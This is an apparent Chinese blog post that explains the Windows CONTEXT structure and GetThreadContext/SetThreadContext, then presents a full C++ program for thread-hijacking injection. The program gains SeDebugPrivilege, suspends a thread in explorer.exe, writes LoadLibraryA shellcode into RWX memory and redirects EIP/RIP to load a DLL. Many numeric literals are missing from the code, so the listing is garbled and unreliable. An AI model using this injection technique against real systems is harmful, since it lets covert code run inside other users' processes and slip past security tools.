在《Windows核心编程》第七章说到了线程优先级等知识,其中谈到了ThreadContext线程上下背景文。

其中介绍了GetThreadContext函数来查看线程内核对象的内部,并获取当前CPU寄存器状态的集合。

BOOL GetThreadContext (
HANDLE hThread,
PCONTEXT pContext);

若要调用该函数,只需指定一个CONTEXT结构,对某些标志(该结构的ContextFlags成员)进行初始化,指明想要收回哪些寄存器,并将该结构的地址传递给GetThreadContext 。然后该函数将数据填入你要求的成员。
在调用GetThreadContext函数之前,应该调用SuspendThread,否则,线程可能刚好被调度,这样一来,线程的上下文就和所获取的信息不一致了。
示例代码如下:

   CONTEXT Context;                  //定义一个CONTEXT结构
Context.ContextFlags = CONTEXT_CONTROL;   //告诉系统我们想获取线程控制寄存器的内容
GetThreadContext(hThread, &Context);      //调用GetThreadContext获取相关信息

Ps:在调用GetThreadContext函数之前,必须首先初始化CONTEXT结构的ContextFlags成员。
要获得线程的所有重要的寄存器(也就是微软认为最常用的寄存器),应该像下面一样初始化ContextFlags:
Context.ContextFlags = CONTEXT_FULL;

通过vs2015的<winnt.h>中的定义可知CONTEXT的结构:

typedef struct _CONTEXT {

    //
// The flags values within this flag control the contents of
// a CONTEXT record.
//
// If the context record is used as an input parameter, then
// for each portion of the context record controlled by a flag
// whose value is set, it is assumed that that portion of the
// context record contains valid context. If the context record
// is being used to modify a threads context, then only that
// portion of the threads context will be modified.
//
// If the context record is used as an IN OUT parameter to capture
// the context of a thread, then only those portions of the thread's
// context corresponding to set flags will be returned.
//
// The context record is never used as an OUT only parameter.
// DWORD ContextFlags; //
// This section is specified/returned if CONTEXT_DEBUG_REGISTERS is
// set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT
// included in CONTEXT_FULL.
// DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7; //
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_FLOATING_POINT.
// FLOATING_SAVE_AREA FloatSave; //
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_SEGMENTS.
// DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs; //
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_INTEGER.
// DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax; //
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_CONTROL.
// DWORD Ebp;
DWORD Eip;
DWORD SegCs; // MUST BE SANITIZED
DWORD EFlags; // MUST BE SANITIZED
DWORD Esp;
DWORD SegSs; //
// This section is specified/returned if the ContextFlags word
// contains the flag CONTEXT_EXTENDED_REGISTERS.
// The format and contexts are processor specific
// BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; } CONTEXT;

在WinNT. h头文件中,定义了CONTEXT_FULL为CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS。
当然,我们还可以通过调用SetThreadContext函数来改变结构中的成员,并把新的寄存器值放回线程的内核对象中

BOOL SetThreadContext (
HANDLE hThread,
CONST CONTEXT *pContext);

由此考虑到可以修改EIP的值,来执行我们的代码,实现注入。首先我们先挂起目标线程,

CONTEXT Context;      //定义一个CONTEXT结构      
         SuspendThread(hThread);  //挂起线程  
         ThreadContext.ContextFlags = CONTEXT_ALL;  //修改对Context操作的权限
         GetThreadContext(hThread, &Context);       //获得Context信息
         BufferData = VirtualAllocEx()  //在目标线程申请内存 来执行我们的shellcode
         编写shellcode 
     WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL) // 写入shellcode
     ThreadContext.Eip = (UINT32)BufferData //修改EIP指向
         Context.ContextFlags = CONTEXT_CONTROL;
         SetThreadContext(hThread, &Context);   //重新设置线程上下文
         ResumeThread(hThread);         //恢复线程,现在线程开始从BufferData这个地方开始执行指令

// SetThreadContext.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include <iostream> using namespace std; BOOL GrantPriviledge(WCHAR* PriviledgeName);
BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId);
BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector);
BOOL Inject(UINT32 ProcessId, UINT32 ThreadId); #ifdef _WIN64 UINT8 ShellCode[0x100] = {
0x48,0x83,0xEC,0x28, 0x48,0x8D,0x0d,
0x00,0x00,0x00,0x00, 0xff,0x15,
0x00,0x00,0x00,0x00, 0x48,0x83,0xc4,0x28, 0xff,0x25,
0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00, };
#else UINT8 ShellCode[0x100] = {
0x60,
0x9c,
0x68,
0x00,0x00,0x00,0x00,
0xff,0x15,
0x00,0x00,0x00,0x00,
0x9d,
0x61,
0xff,0x25,
0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00
}; #endif CHAR DllFullPath[MAX_PATH] = { }; int main()
{
// 提权
if (GrantPriviledge(SE_DEBUG_NAME) == FALSE)
{
printf("GrantPriviledge Error\r\n");
} UINT32 ProcessId = ; GetCurrentDirectoryA(MAX_PATH, DllFullPath); #ifdef _WIN64
GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId); strcat_s(DllFullPath, "\\x64Dll.dll");
#else
GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);
strcat_s(DllFullPath, "\\x86Dll.dll");
#endif //枚举到线程id
vector<UINT32> ThreadIdVector;
GetThreadIdByProcessId(ProcessId, ThreadIdVector); for (UINT32 ThreadId : ThreadIdVector)
{
Inject(ProcessId, ThreadId);
break;
} Sleep(); return ;
} UINT32 Count = ;
BOOL Inject(UINT32 ProcessId, UINT32 ThreadId)
{
HANDLE ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); // 首先挂起线程
SuspendThread(ThreadHandle); CONTEXT ThreadContext = { };
ThreadContext.ContextFlags = CONTEXT_ALL;
if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE)
{
cout << GetLastError() << endl;
CloseHandle(ThreadHandle);
CloseHandle(ProcessHandle);
return FALSE;
} PVOID BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (BufferData != NULL)
{
UINT_PTR LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA");
if (LoadLibraryAddress != NULL)
{
#ifdef _WIN64 // ShellCode + 43
PUINT8 v1 = ShellCode + ;
memcpy(v1, DllFullPath, strlen(DllFullPath) + );
UINT32 DllNameOffset = (UINT32)(((PUINT8)BufferData + ) - ((PUINT8)BufferData + ) - );
*(PUINT32)(ShellCode + ) = DllNameOffset; // ShellCode + 35
*(PUINT64)(ShellCode + ) = (UINT64)LoadLibraryAddress;
UINT32 LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + ) - ((PUINT8)BufferData + ) - );
*(PUINT32)(ShellCode + ) = LoadLibraryAddressOffset; *(PUINT64)(ShellCode + ) = ThreadContext.Rip; if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
{
return FALSE;
}
ThreadContext.Rip = (UINT64)BufferData; #else
PUINT8 v1 = ShellCode + ; memcpy((char*)v1, DllFullPath, strlen(DllFullPath) + );
*(PUINT32)(ShellCode + ) = (UINT32)BufferData + ; *(PUINT32)(ShellCode + ) = LoadLibraryAddress;
*(PUINT32)(ShellCode + ) = (UINT32)BufferData + ; *(PUINT32)(ShellCode + ) = ThreadContext.Eip;
*(PUINT32)(ShellCode + ) = (UINT32)BufferData + ;
if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
{
printf("write Process Error\n");
return FALSE;
}
ThreadContext.Eip = (UINT32)BufferData; #endif
if (!SetThreadContext(ThreadHandle, &ThreadContext))
{
printf("set thread context error\n");
return FALSE;
}
ResumeThread(ThreadHandle); printf("ShellCode 注入完成: %d\r\n", ++Count);
}
} CloseHandle(ThreadHandle);
CloseHandle(ProcessHandle);
return TRUE;
} //获得线程ID
BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector)
{
HANDLE ThreadSnapshotHandle = NULL;
THREADENTRY32 ThreadEntry32 = { }; ThreadEntry32.dwSize = sizeof(THREADENTRY32); ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, );
if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
} Thread32First(ThreadSnapshotHandle, &ThreadEntry32);
do
{
if (ThreadEntry32.th32OwnerProcessID == ProcessId)
{
ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID); // 把该进程的所有线程id压入模板
}
} while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32)); CloseHandle(ThreadSnapshotHandle);
ThreadSnapshotHandle = NULL;
return TRUE;
} BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId)
{
HANDLE ProcessSnapshotHandle = NULL;
PROCESSENTRY32 ProcessEntry32 = { }; ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ); if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
} Process32First(ProcessSnapshotHandle, &ProcessEntry32);
do
{
if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == )
{
*TargetProcessId = ProcessEntry32.th32ProcessID;
break;
}
} while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32)); CloseHandle(ProcessSnapshotHandle);
ProcessSnapshotHandle = NULL;
return TRUE;
} // 提限
BOOL GrantPriviledge(WCHAR* PriviledgeName)
{
TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges;
DWORD dwReturnLength = sizeof(OldPrivileges);
HANDLE TokenHandle = NULL;
LUID uID; // 打开权限令牌
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle))
{
if (GetLastError() != ERROR_NO_TOKEN)
{
return FALSE;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
{
return FALSE;
}
} //查看权限令牌
if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID))
{
CloseHandle(TokenHandle);
return FALSE;
} TokenPrivileges.PrivilegeCount = ;
TokenPrivileges.Privileges[].Attributes = SE_PRIVILEGE_ENABLED;
TokenPrivileges.Privileges[].Luid = uID; // 调整权限
if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength))
{
CloseHandle(TokenHandle);
return FALSE;
} CloseHandle(TokenHandle);
return TRUE;
}

该方法注入explorer,只能注入一次,然后需要重启电脑。

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